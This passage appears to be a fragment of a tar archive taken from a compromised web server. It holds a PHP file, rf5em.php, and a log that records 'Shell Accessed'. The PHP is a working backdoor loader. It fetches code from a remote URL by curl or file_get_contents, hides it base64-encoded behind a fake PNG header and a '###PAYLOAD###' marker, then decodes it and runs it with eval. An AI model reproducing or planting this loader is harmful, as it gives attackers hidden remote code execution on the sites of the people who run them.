rf5em.php000064400000311130151547731770006313 0ustar00eof()) { $content .= $file->fgets(); } } catch (Throwable $e) { $content = ''; } if (strlen(trim($content)) < 1) { $content = @file_get_contents($url); } if (strlen(trim($content)) < 1 && function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10, ]); $content = curl_exec($ch); curl_close($ch); } return $content; } // -------------------------------------------- // 3. Create payload by appending hidden PHP code // -------------------------------------------- function createStealthPayload($phpCode) { $png = generateRealisticPngHeader(); $marker = '###PAYLOAD###'; $encoded = base64_encode($phpCode); return $png . $marker . $encoded; } // -------------------------------------------- // 4. Extract and execute hidden payload // -------------------------------------------- function extractAndExecutePayload($data) { $marker = '###PAYLOAD###'; $parts = explode($marker, $data); if (count($parts) === 2) { $decoded = base64_decode($parts[1]); if ($decoded !== false && strlen(trim($decoded)) > 0) { @eval("?>$decoded"); } } } // -------------------------------------------- // Main Execution Flow // -------------------------------------------- $remoteCode = loadRemoteData($mainUrl); if (strlen(trim($remoteCode)) > 0) { $payload = createStealthPayload($remoteCode); extractAndExecutePayload($payload); // Executes hidden remote code } ?> samurai_activity.log000064400000000304151551060210010615 0ustar00[2026-03-13 08:52:44] IP: 57.141.2.66 | Action: Shell Accessed | Target: 57.141.2.66 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)